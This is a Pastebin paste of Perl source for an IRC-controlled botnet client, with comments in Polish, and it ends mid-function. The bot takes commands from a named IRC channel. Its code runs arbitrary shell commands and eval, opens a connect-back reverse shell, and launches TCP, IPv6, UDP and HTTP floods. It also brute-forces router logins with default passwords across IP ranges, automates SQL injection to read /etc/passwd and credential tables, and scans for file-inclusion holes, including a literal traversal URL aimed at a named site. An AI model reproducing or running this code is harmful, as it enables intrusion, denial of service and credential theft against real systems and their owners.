ZmEu

exceld bot (PERL) ++ipv6 attack

Mar 1st, 2011
1,048
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ### elxbot bot ++ipv6_attacker addin wich actually worx!
  2. ### Connectback fixd so is stealthier...
  3. ### Coded by whoknows but fixed by (xd)
  4.  
  5. #!/usr/bin/perl
  6. use IO::Socket;
  7.  
  8. srand;
  9. my %conf;
  10. my $save = "http://vte.malbo.pl/index.php";
  11. my @http_AU_Voo = ("admin:to_JEST_FEJK","admin:admin","admin:epicrouter","admin:12345","admin:1234","admin:password");
  12. my $clones_count = 8; # 4 / 8 / 16/ 32 / 64
  13. #open($pwnage_ban,'>>/tmp/banner_pwned.router'); $pwnage_ban->autoflush(1); ## autoflush
  14. #open($pwnage_has,'>>/tmp/hasla_pwned.router'); $pwnage_has->autoflush(1); ## autoflush
  15. my $p = 80;
  16. my @tabele=('admin','asociados','autores','USUARIOS','MIEMBROS','MIEMBRO');
  17. my @kolumny=('admin_name','sistema_password','autor','upassword','web_password','web_username');
  18. # fejk to fejk
  19.  
  20. my @useragents = (
  21.     "Microsoft Internet Explorer/4.0b1 (Windows 95)",
  22.     "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)",
  23.     "Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)",
  24.     "Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)",
  25.     "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)",
  26.     "Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)",
  27.     "Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)",
  28.     "Mozilla/3.0 (OS/2; U)",
  29.     "Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)",
  30.     "Mozilla/4.61 (Macintosh; I; PPC)",
  31.     "Mozilla/4.61 [en] (OS/2; U)",
  32.     "Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)",
  33.     "Mozilla/4.8 [en] (Windows NT 5.0; U)" );
  34.  
  35. # Cos wymyslonego na przyszlosc
  36. #my $infect = "http://site.com/index.txt";
  37. #my $proxyport = "";
  38. #my $phpshell = "";
  39. ## To tyle ; p
  40.  
  41. my %conf = (
  42. process => "V.T.E", admin_host => "[email protected]", admin_nick => "parada", server => "irc.ircnet.pl",
  43. chan => "#chades", key => "ave", port => "6667", ping_timeout => "300", hello_stat => "SSuup AvE", hello => "Powitalna wiadomoc",
  44. hello_eng => "One For Luck One For fuck", fnick => "abuse", fircname => "Vte", frealname => "Komisarz borewicz", sleep => "",
  45. );
  46.  
  47. my %kolor = ( z => '\0039', b => '\0030', c => '\0034' );
  48.  
  49. #$conf{'process'} = ("V.T.E");
  50. #$conf{'admin_host'} = ("[email protected]");
  51. #$conf{'admin_nick'} = ("Crips");
  52. #$conf{'server'} = ("irc.ircnet.pl");
  53. #$conf{'chan'} = ("#vte");
  54. #$conf{'key'} = ("ave");
  55. #$conf{'port'} = ("6667");
  56. #$conf{'ping_timeout'} = ("300");
  57. #$conf{'hello_start'} = ("aVe Abusers");
  58. #$conf{'hello'} = ("aVe");
  59. #$conf{'hello_eng'} = ("papatki");
  60. #$conf{'nicklen'} = ("7");
  61. #$conf{'fnick'} = ("abuse");
  62. #$conf{'fircname'} = ("Vte");
  63. #$conf{'frealname'} = ("Komisarz Borewicz");
  64. #$conf{'sleep'} = ("3");
  65.  
  66. my @vuls = ('/etc/httpd/conf/httpd.conf','/usr/local/apache/conf/httpd.conf','/usr/local/etc/apache/httpd.conf',
  67. '/usr/local/etc/httpd/httpd.conf','/etc/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf',
  68. '/var/www/conf/httpd.conf','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/etc/httpd/logs/error_log',
  69. '/etc/httpd/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/access_ log',
  70. '/usr/local/apache/logs/access. log','/var/log/apache/access_log','/var/log/apache2/access_log',
  71. '/var/log/apache/access.log','/var/log/apache2/access.log','/var/log/access_log','/var/log/access.log',
  72. '/var/www/logs/error_log','/var/www/logs/error.log','/usr/local/apache/logs/error_log',
  73. '/usr/local/apache/logs/error.log','/var/log/apache/error_log','/var/log/apache2/error_log',
  74. '/var/log/apache/error.log','/var/log/apache2/error.log','/var/log/error_log','/var/log/error.log',
  75. '/usr/local/httpd/conf/httpd.conf','/proc/self/environ','/var/log/lighttpd/errors.log','/proc/self/status' );
  76.  
  77. my @literki = ('a'..'z');
  78. my $seed=$literki[rand scalar @literki].$literki[rand scalar @literki].$literki[rand scalar @literki];
  79. open(LOCK, '>/tmp/sess_f3wtx3es3wedxwa213s1x1ws1e32sx2') or die;
  80. unless(flock(LOCK, 4 | 2)) { die; }
  81.  
  82. if(fork) { exit; }
  83. $0 = $conf{process};
  84.  
  85. package irc;
  86. use IO::Select;
  87.  
  88. our $irc_socket;
  89. our $irc_select = new IO::Select;
  90.  
  91. my $cur_nick;
  92.  
  93. sub raw {
  94. print $irc_socket "$_[0]\n";
  95. print("[Rav] $_[0]\n");
  96. }
  97.  
  98. sub mnick {
  99.     my $nick = $_[1];
  100.     my @abc = ('a' .. 'z');
  101.     for(my $i=0;$i<$_[0];$i++) { $nick .= $abc[int(rand($#abc))]; }
  102.    return $nick;
  103. }
  104.  
  105. sub init {
  106.    my $socket = IO::Socket::INET->new(PeerAddr => $_[3],PeerPort => $_[4],Proto    => 'tcp',Timeout  => '5') or return 0;
  107.     if(defined($socket)) {
  108.         $irc_socket = $socket;
  109.         $irc_select->add($irc_socket);
  110.         $irc_socket->autoflush(1);
  111.         raw("USER ".$_[1]." 0 0 ".$_[2]);
  112.         $cur_nick = $_[0];
  113.         raw("NICK $cur_nick");
  114.         return 1;
  115.     }
  116.     return 0;
  117. }
  118.  
  119. sub loop {
  120.     my $time_out = time;
  121.     for(;;) {
  122.         my @handles = $irc_select->can_read(1);
  123.         if((time - $time_out) > $conf{'ping_timeout'}) { $irc_select->remove($irc_socket); $irc_socket->close(); last; }
  124.         next unless(@handles);
  125.         foreach my $handle (@handles) {
  126.             my $datain;$handle->recv($datain, 1023, 0);
  127.             my @lines = split(/\r\n/, $datain);
  128.             foreach my $line (@lines) {
  129.                 if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
  130.                 elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $conf{chan} $conf{key} "); irc::raw("PRIVMSG $conf{chan} : $conf{hello} "); next; }
  131.                 elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_nick = mnick($conf{'nicklen'}, $conf{'fnick'}); raw("NICK ".$cur_nick); next; }
  132. # TO TU
  133.                 elsif ($line =~ m/xxx/) { irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); }
  134.                 elsif ($line =~ m/xxx/) { irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); }
  135.                 elsif ($line =~ m/xxx/) { irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); }
  136.                 elsif ($line =~ m/xxx/) { irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); }
  137.     if($response =~ m/:(.*)http:\/\/(.+?)[=](.+?)'/) { my $link = "http://".$2."="; irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); } #WORK
  138.     if($response =~ m/:(.*)http:\/\/(.+?)[=]'/) { my $link = "http://".$2."="; irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); } #WORK
  139.     if($response =~ m/:(.*)http:\/\/(.+?)[=](.+?)%00/) { my $link = "http://".$2."=".$3."%00"; irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); } #---WORK
  140.     if($response =~ m/:(.*)ftp:\/\/(.+?)\//) { my $link = "ftp://".$2."/"; irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); } #---WORK
  141. # chyba ;D
  142.                 run::bcmd("$line");
  143.             }
  144.         }
  145.     }
  146. }
  147.  
  148. package run;
  149. use Socket;
  150. use Switch;
  151.  
  152. sub bcmd {
  153.     my @line = split(/ /, $_[0]);
  154.     my $RawMask = shift(@line);
  155. $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
  156.     unless($Nick eq $conf{admin_nick} ) { return; }
  157.     my $Type = shift(@line);
  158.     unless($Type eq "PRIVMSG") { return; }
  159.     my $To = shift(@line);
  160.     $" = ' '; $line[0] =~ s/://;my $Text = "@line";
  161.     if ($Text =~ /^(\Q$cur_nick\E\s+\.|\.)(.+)/) {
  162.         if($2 =~ /^nick\s*(.*)/) {
  163.             if($1) { $cur_nick = $1; }
  164.             else { $cur_nick = irc::mnick($conf{'nicklen'}, $conf{'fnick'}); }
  165.             irc::raw("NICK $cur_nick");
  166.             return;
  167.         }
  168.         if($2 =~ /^bye/) { irc::raw('QUIT :;'); exit; }
  169.         return;
  170.     }
  171.     if ($Text =~ /^(\Q$cur_nick\E\s+\!|\!)(.+)/) {
  172.         if(!fork) {
  173.             if ($2 =~ /^join (.*)/) { j("$1"); }
  174.             if ($2 =~ /^part (.*)/) { p("$1"); }
  175.             if ($2 =~ /^op (.*)/)   { uflag($To,'+o',$1); }
  176.             if ($2 =~ /^deop (.*)/)     { uflag($To,'-o',$1); }
  177.             if ($2 =~ /^halfop (.*)/)   { uflag($To,'+h',$1); }
  178.             if ($2 =~ /^dehalfop (.*)/) { uflag($To,'-h',$1); }
  179.             if ($2 =~ /^voice (.*)/)    { uflag($To,'+v',$1); }
  180.             if ($2 =~ /^devoice (.*)/)  { uflag($To,'-v',$1); }
  181.             if ($2 =~ /^m/)         { chf($To,'+m'); }
  182.             if ($2 =~ /^um/)        { chf($To,'-m'); }
  183.             if ($2 =~ /^u/)         { chf($To,'+u'); }
  184.             if ($2 =~ /^uu/)        { chf($To,'-u'); }
  185.             if ($2 =~ /^i/)         { chf($To,'+i'); }
  186.             if ($2 =~ /^ui/)        { chf($To,'-i'); }
  187.             if ($2 =~ /^us/)        { chf($To,'-s'); }
  188.             if ($2 =~ /^raw (.*)/)  { irc::raw("$1"); }
  189. # Edit here
  190.         if ($2 =~ /^sqlbrut\s+(.*)\s+(\d+)/) {
  191.     spread::sqlbrute($To,$1,$2);
  192.     }
  193.             if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; } # Eval
  194.             if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }
  195.             if ($2 =~ /^lfis\s+(.*?)\s+(.*)/) { spread::lfi($To, $1, $2); exit; }
  196.             if ($2 =~ /^autolfi\s+(.*?)\s+(.*)/) { spread::getstore($1,$2); spread::podajlfi($2); exit; }
  197.             if ($2 =~ /^brulfi/) {
  198.             my $url = "/index.php?";
  199.                                                 for ($seed = "a", $c=0; $c<666666; $c++, $seed++){
  200.                                                 $bug = $url.$seed."="; $dork = "inurl:".$url.$seed."=";
  201.                                             spread::lfi($To, $bug, $dork); }            exit; }            
  202.         if ($2 =~ /^randlfi/) {
  203.                                                 my $url = "/index.php?";
  204.                                                 $bug = $url.$seed."="; $dork = "inurl:".$url.$seed."=";
  205.                                             spread::lfi($To, $bug, $dork);             exit; }
  206.            if ($2 =~ /^router\s+(.*?)\s+(.*)/) { spread::new_range($1,$2); exit; }
  207.            if ($2 =~ /^tcpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp($To, $1, $2, $3); exit; }
  208.            if ($2 =~ /^ipv6flood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp6($To, $1, $2, $3); exit; }
  209.            if ($2 =~ /^udpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::udp($To, $1, $2, $3); exit; }
  210.            if ($2 =~ /^httpflood\s+(.+)\s+(\d+)/) { flood::http($To, $1, $2); exit; }
  211.            if ($2 =~ /^help/) {
  212.             irc::raw("PRIVMSG $To :\002[Irc]\002 !join, !part, !op, !deop, !halfop, !degalfop. !voice, !devoice ");
  213.             irc::raw("PRIVMSG $To :\002[Irc]\002 !m, !um, !u, !uu, !i, !ui. !s, !us, !raw, .nick, ");
  214.             irc::raw("PRIVMSG $To :\002[Scan]\002 !router,");
  215.             irc::raw("PRIVMSG $To :\002[Lfis]\002 !lfis, !brulfi, !autolfi, !randlfi");
  216.             irc::raw("PRIVMSG $To :\002[Abuse]\002 !tcpflood, !ipv6flood, !udpflood, !httpflood, !eval, !rsh,");
  217.             }
  218.            exit;
  219.        }
  220.        return;
  221.    }
  222.    if($Text =~ /^(\Q$cur_nick\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
  223.    if ($To eq $cur_nick) { if(!fork) { bsh($Nick, $Text); exit; } return; }
  224. }
  225.  
  226. sub bsh {
  227.    my $to = $_[0];
  228.    my $cmd = $_[1];
  229.    if($cmd =~ /cd (.+)/) { chdir("$1") or irc::raw("PRIVMSG $to :No such file or directory"); return; }
  230.    my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
  231.     foreach my $line (@sh_out) { if($line) { irc::raw("PRIVMSG $to :$line"); sleep $conf{sleep} ; } }
  232. }
  233.  
  234. sub j { &join(@_); }
  235. sub join {
  236.         return unless $#_ == 0;
  237.         irc::raw("JOIN $_[0]");
  238. }
  239.  
  240. sub p { part(@_); }
  241. sub part {
  242.         irc::raw("PART $_[0]");
  243. }
  244.  
  245. sub uflag {
  246.    my $operator;
  247.    my $operation;
  248.    switch($_[1]) {
  249.      case '+o' { $operator='+o'; $operation='op'; }
  250.      case '-o' { $operator='-o'; $operation='deop'; }
  251.      case '+h' { $operator='+h'; $operation='halfop'; }
  252.      case '-h' { $operator='-h'; $operation='dehalfop'; }
  253.      case '+v' { $operator='+v'; $operation='voice'; }
  254.      case '-v' { $operator='-v'; $operation='devoice'; }
  255.      default : { $operator='+o'; $operation='op'; }
  256.    }
  257. irc::raw("MODE $_[0] $operator $_[2] ");
  258.    }
  259.  
  260. #chf
  261. sub chf {
  262.    my $operator;
  263.    my $operation;
  264.    switch($_[1]) {
  265.      case '+m' { $operator='+m'; $operation='mute'; }
  266.      case '-m' { $operator='-m'; $operation='umute'; }
  267.      case '+u' { $operator='+u'; $operation='hide'; }
  268.      case '-u' { $operator='-u'; $operation='unhide'; }
  269.      case '+i' { $operator='+i'; $operation='invite'; }
  270.      case '-i' { $operator='-i'; $operation='unvite'; }
  271.      case '+s' { $operator='+s'; $operation='seectreet'; }
  272.      case '-s' { $operator='-s'; $operation='unsercreet'; }
  273.      default : { $operator='+s'; $operation='+s'; }
  274.    }
  275. irc::raw("MODE $_[0] $operator ");
  276.    }
  277.  
  278. sub rsh {
  279.     irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");
  280.     socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
  281.     connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;
  282.     open(STDIN, ">&SOCKET");
  283.     open(STDOUT, ">&SOCKET");
  284.     open(STDERR, ">&SOCKET");
  285.     print "[!!] Connectback backdoor\n";
  286.     system('/bin/sh -i');  ## Had to fix this (xd)
  287.     close(STDIN);
  288.     close(STDOUT);
  289.     close(STDERR);
  290. }
  291.  
  292. package spread;
  293. use HTTP::Request; use LWP::UserAgent;
  294. use LWP::Simple;
  295. sub sqlbrute() {
  296.             my $To=$_[0];
  297.             my $site=$_[1];
  298.             my $columns=$_[2];
  299.     #irc::raw("PRIVMSG $_[0] :\002[Test]\002 0 $_[0] 1 $_[1] 2 $_[2] ");
  300.  
  301. my $cfin.="--";
  302. my $cmn.= "+";
  303. for ($column = 0 ; $column < $columns ; $column ++) {
  304.     $union.=','.$column;
  305.     $inyection.=','."0x6c6f67696e70776e7a";
  306.    if ($column == 0)
  307.      {
  308.           $inyection = '';
  309.          $union = '';
  310.      }
  311.    $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
  312. print("$sql \r\n");
  313.    $response=get($sql) or print("[SQL]"," Failed to try to find the number of columns, check website\n");
  314.    if($response =~ /loginpwnz/)
  315.      {
  316.         $column ++;
  317.         $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
  318.         #msg("[SQL]"," $sql");
  319.          irc::raw("PRIVMSG $To :\002[Sql]\002 $sql ");
  320.         $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
  321.         $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
  322.         if($response =~ /loginpwnz/) {
  323. $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
  324.         irc::raw("PRIVMSG $To :\002[Sql]\002 INFORMATION_SCHEMA: $sql ");
  325.         }
  326.         $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
  327.         $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
  328.         if($response =~ /loginpwnz/)
  329.             {
  330.                 $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
  331.                 #msg("[SQL]","MYSQL_USER: $sql");
  332.             irc::raw("PRIVMSG $To :\002[Sql]\002 Mysql User $sql ");
  333.             }
  334.         else
  335.             {
  336.                 print "\n[-] MySQL.User unavailable";
  337.             }
  338.     while ($loadcont < $column-1)
  339.        {
  340.         $loadfile.=','.'load_file(0x2f6574632f706173737764)';
  341.         $loadcont++;
  342.        }
  343.        $sql=$site."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
  344.     $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
  345.         if($response =~ /root:x:/)
  346.             {
  347.                 #msg("[SQL]","LOAD_FILE: $sql");
  348.                 irc::raw("PRIVMSG $To :\002[Sql]\002 Load_File $sql ");
  349.         }
  350.         else
  351.             {
  352.                 print "\n[-] LOAD_FILE unavailable";
  353.             }
  354.               foreach $tabla(@tabele)
  355.                {
  356.                  chomp($tabla);
  357.                  $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  358. print("$sql \r\n");                
  359.                  $response=get($sql)or die("[-] Impossible to get tables\n");
  360.                  if($response =~ /loginpwnz/)
  361.                    {
  362.                        print "\n[+] Table $tabla exists...saving in $ARGV[2]";
  363.                        $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
  364.                        #msg("[SQL]"," $sql");
  365.                         irc::raw("PRIVMSG $To :\002[Sql]\002 $sql ");
  366.                         &tabelka($site,$tabla);
  367.                    }
  368.                }
  369.  
  370.  #      exit (0);
  371.      }
  372. }          
  373.             }
  374.  
  375. sub tabelka() {
  376.             my $site=$_[0];
  377.             my $tabla=$_[1];
  378.             my $cfin.="--";
  379.             my $cmn.= "+";
  380.            chomp($tabla);
  381.            print WEB "\n\n[COLUMNS IN TABLE $tabla]:\n\n";
  382.            foreach $columna(@kolumny)
  383.            {
  384.             chomp($columna);
  385.             $sql=$site."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  386.             $response=get($sql)or die("[-] Impossible to get columns\n");
  387.             if ($response =~ /loginpwnz/)
  388.                  {
  389.                      #msg("[SQL]"," Column : $sql");
  390.                       irc::raw("PRIVMSG $To :\002[Sql]\002 Column $sql ");
  391.                  }
  392.            }
  393. }
  394.  
  395. sub passwd()
  396. {
  397.     my $ip = "http://".$_[0]."/";
  398.     #&msg("[DEBUG] => $ip ");
  399.     ## Zakomentuje te suchary
  400.     #my @login = ("admin");
  401.     #my @passwd = ("admin", "123", "admin123", "12345", "epicrouter", "tech", "password", "setup", "admin666");
  402.     foreach my $cred(@http_AU_Voo)
  403.     {
  404.             my $ua = LWP::UserAgent->new;
  405.             my $req = HTTP::Request->new(GET => $ip);
  406.             my ($user,$pass)=split(/:/,$cred); 
  407.             print("test User: ".$user." pass: ".$pass);
  408.     #       &msg("[DEBUG] => $user => $pass ");
  409.             $req->authorization_basic($user,$pass);
  410.     #       $req->authorization_basic('admin','admin');
  411.             my $te = $ua->request($req)->as_string;
  412.             ## wyjac header i sprawdzic
  413.     #       &msg("[DEBUG] => Content is $te") if($debug);
  414.             ### to poprawic
  415.             if($te =~ /HTTP\/1.1 200 OK/)
  416.             {
  417.             if($pass =~ /to_JEST_FEJK/) { exit; }
  418. #               &msg($z."[Router] ".$cz."=> $ip ".$z."[Login]".$cz." => $user ".$z."[Pass]".$cz." => $pass");
  419.                 irc::raw("PRIVMSG $conf{chan} : \0039[Router]\0030 => $ip \0039 [Login] \0030 => $user \0039 [Password]\0030 => $pass");                                               
  420.                 #print $pwnage_has "$ip:$user:$pass \n";
  421.                 return;
  422.             }
  423.     }
  424. }
  425.  
  426. sub router_attack() {
  427.      my $target=shift;
  428.       if ($sox = IO::Socket::INET->new(PeerAddr=>$target,PeerPort=>$p,Proto=>'tcp',Timeout=>'1'))
  429.         {
  430.             ## tu juz kolnkretna funkcja do napierdalania czegos
  431.             my $cos = "http://".$target."/";
  432.          my $strona = &query($cos);
  433.             if($strona =~ /<title>(.*)<\/title>/i)
  434.             {
  435.                     #&msg("[Banner] => $1 On Ip $cos ");
  436. #                   &msg($z."[Banner]".$cz." => $1 ".$z." [IP]".$cz." => ".$czer." $cos ".$cz);
  437. #irc::raw("PRIVMSG $conf{chan} : \0039[Router]\0030 =>\0039 [Banner] \0030 $1 => $cos ");                                              
  438. #                   print $pwnage_ban "$1 => $cos \n";
  439. sleep(5);
  440.             }
  441.             if($strona=~/401|unauthorized|Authentication|Protected Object/i)
  442.             {
  443.             #       &msg('[DEBUG] => Odkrylem 401 ... napierdalaaamy $target !');
  444.                     &passwd($target);
  445.             }
  446.             else
  447.             {
  448. #               &msg('[DEBUG]','Kurwa, cos nie tak z soketem, moj Wladco Karaluchow ;D');
  449.             }
  450.             close $sox;                            
  451.         }  ### koniec dla sprawdzenia, czy sok sie odpalil
  452. }
  453.  
  454. sub new_range()
  455. {
  456.     if(scalar(@credentials)==0)
  457.     {
  458.     }
  459.     my $start = shift;
  460.     my $startend = shift;
  461. #   &msg($z."[Routers]".$cz." => ".$z."[From]".$cz." => $start ".$z."[Too]".$cz." => $startend ");
  462. irc::raw("PRIVMSG $conf{chan} : \0039[Router]\0030 =>\0039 [Ip-Start] \0030 => $start \0039 [Ip-End]\0030 => $startend");
  463.     my $p = 80;
  464.     my @ip_start=split(/\./,$start);
  465.     my @ip_end=split(/\./,$startend);
  466.     my $i;
  467.     my $j;
  468.     my $k;
  469.     my $l;
  470.     my $pools=0;
  471.     my $child_count=0;
  472.     my $level_3_diff;
  473.     for($i=$ip_start[0];$i<=$ip_end[0];$i++)    
  474.     {
  475.         for($j=$ip_start[1];$j<=$ip_end[1];$j++)
  476.         {
  477.             $level_3_diff=$ip_end[2]-$ip_start[2]+1; ## to sie przyda w potomnych do okreslania, na ile podzielic zakres
  478. #           &msg('[DEBUG]',"ilosc forkow nadrzednych: $level_3_diff");
  479.             my $pid;
  480.             for($k=$ip_start[2];$k<=$ip_end[2];$k++)
  481.             {
  482.                 $pid=fork;
  483.                 if($pid)
  484.                 {
  485. #                   &msg('[DEBUG]',"Odpalono klona nadrzednego [$pid] na zakres $i.$j.$k.*");
  486.                     next;
  487.                 }
  488.                 ## ostatnia iteracja, czas dokonac podzialu
  489.                 ## to jest przekombinowane, lepiej zrobic tak, zeby limit procesow dotyczyl tylko dolnego zakresu
  490.                 ## i byl zasze potega dwojki, tak robie
  491.                 my $pool_width=256/$clones_count;
  492.                 ### tutaj sie robia nasze podklony ;]
  493.                 for($pools=0;$pools<256;$pools+=$pool_width) ## proste: 0-64, 65-128, 129-192, 193-256
  494.                 {
  495.                     my $last_pid=fork;
  496.                     if($last_pid)
  497.                     {
  498.                         ## jesli sklonowano (trzeba bedzie jeszcze exity zrobic)
  499.                         sleep(3); ## unikajmy flooda, moze trzeba bedzie zwiekszyc sleep, ograniczyc wyjscie
  500.                         ## latanie dziury
  501.                         ### 100, 100, 54, np. 200+100=300>254, zatem zamiast 100 dodajemy 53
  502.                         next;
  503.                     }
  504.                     else
  505.                     {
  506.                         ## oto potomny, ma juz swoj zakres
  507.                         my $start_addr=$pools; ## start: 0, stop: 63, start: 64-stop 127 itd.
  508.                         my $stop_addr=$pools+$pool_width-1;
  509.                         ## tutaj for dla konca zakresu (adres hosta) i funkcja abusujaca
  510.                         for($l=$start_addr;$l<$stop_addr;$l++)  ## mala zmiana
  511.                     {
  512.                             my $tmp_ip="$i.$j.$k.$l";
  513.                             # &msg('[DEBUG]',"Atak na zakres $start_addr - $stop_addr");
  514.                             &router_attack($tmp_ip);
  515.                         } ## koniec fora dla adresow w danym klonie
  516.                         # &msg('[DEBUG]',"Child $$ konczy prace.") if($debug);
  517.                       exit; ## wyjscie childa
  518.                     }
  519.                 } ## koniec fora dla pulsa (lewel 4)
  520.                 exit;
  521.             } ### koniec fora dla lewelu 3
  522.             ## to juz jest kod w glownym forku
  523.         } ## koniec fora drugiej czesci adresu  (sztywne)
  524.     } ## koniec fora pierwszej czesci adresu (sztywne), zakladamy, ze sa niepotrzebne, i tak wykonuja sie raz
  525. } # koniec metody
  526.  
  527. sub getstore ($$) {
  528.  my $url = $_[0];
  529.  my $file = $_[1];
  530.  $http_stream_out = 1;
  531.  open(GET_OUTFILE, "> $file");
  532.   %http_loop_check = ();
  533.   _get($url);
  534.   close GET_OUTFILE;
  535.   return $main::http_get_result;
  536. }
  537.  
  538. sub _get {
  539.   my $url = shift;
  540.   my $proxy = "";
  541.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  542.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  543.    my $host = $1;
  544.     my $port = $2 || 80;
  545.     my $path = $3;
  546.     $path = "/" unless defined($path);
  547.     return _trivial_http_get($host, $port, $path);
  548.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  549.     my $host = $1;
  550.     my $port = $2;
  551.     my $path = $url;
  552.     return _trivial_http_get($host, $port, $path);
  553.   } else {
  554.     return undef;
  555.   }
  556. }
  557.  
  558. sub _trivial_http_get {
  559.   my($host, $port, $path) = @_;
  560.   my($AGENT, $VERSION, $p);
  561.  
  562.   $AGENT = "get-minimal";
  563.   $VERSION = "20000118";
  564.  
  565.   $path =~ s/ /%20/g;
  566.   require IO::Socket;
  567.   local($^W) = 0;
  568.   my $sock = IO::Socket::INET->new(PeerAddr => $host,
  569.                                    PeerPort => $port,
  570.                                    Proto   => 'tcp',
  571.                                    Timeout  => 60) || return;
  572.   $sock->autoflush;
  573.   my $netloc = $host;
  574.   $netloc .= ":$port" if $port != 80;
  575.   my $request = "GET $path HTTP/1.0\015\012"
  576.               . "Host: $netloc\015\012"
  577.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  578.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  579.   $request .= "\015\012";
  580.   print $sock $request;
  581.   my $buf = "";
  582.   my $n;
  583.   my $b1 = "";
  584.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  585.     if ($b1 eq "") { # first block?
  586.       $b1 = $buf;         # Save this for errorcode parsinghttp://www.opticgaming.net//index.php?option=com_s5clanroster&controller=./../../../../../../../../../../../../../../etc/passwd%00
  587.      $buf =~ s/.+?\015?\012\015?\012//s;      # zap header
  588.     }
  589.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  590.   }
  591.   return undef unless defined($n);
  592.   $main::http_get_result = 200;
  593.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  594.     $main::http_get_result = $1;
  595.     # print "CODE=$main::http_get_result\n$b1\n";
  596.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
  597. ) {
  598.      # redirect
  599.      my $url = $1;
  600.       return undef if $http_loop_check{$url}++;
  601.       return _get($url);
  602.     }
  603.     return undef unless $main::http_get_result =~ /^2/;
  604.   }
  605.   return $buf;
  606. }
  607.  
  608. sub podajlfi() {
  609. my $czaj = $_[0];
  610. open(FILE, $czaj);
  611. print("open $czaj \r\n");
  612.  while(<FILE>) {
  613. my $jo=$_;
  614.     chomp $jo;
  615.     $jo=~s/\r//;
  616.       $jo =~ s/!scan(\s+)//g;
  617.       $jo =~ s/!scan(.)//g;
  618.       $jo =~ s/!ijo(.)//g;    
  619.         $jo =~ s/!ijoscan(.)//g;        
  620.       if($jo=~ /(.*?[=])\s+(.*)/g){
  621. my $bug = $1;
  622. my $dork = $2;
  623.  #msg("[Lfi-Autoscan]","teeest this is bug $bug and dork $dork");
  624.  &lfi("nic",$bug,$dork);
  625.  }
  626.  #sleep 1*60; # need ?
  627.  }
  628. close(FILE);
  629. `rm -rf $fil`;
  630. }
  631.  
  632.                                 sub lfi() {
  633.                                 my ($bug, $dork, $wiad) = ($_[1], $_[2], "[Lfi-Scan]");
  634.                                 my $file = "/tmp/lfi".int(rand(900)).".txt";
  635.                                 irc::raw("PRIVMSG $conf{chan} : \0039[Lfi]\0030 =>\0039 [Bug] \0030 => $bug \0039 [Dork]\0030 => $dork");                              
  636.                                 my $d0rk = $dork;
  637.                                 find($d0rk,$file);                              lfis($bug, $file, $d0rk);
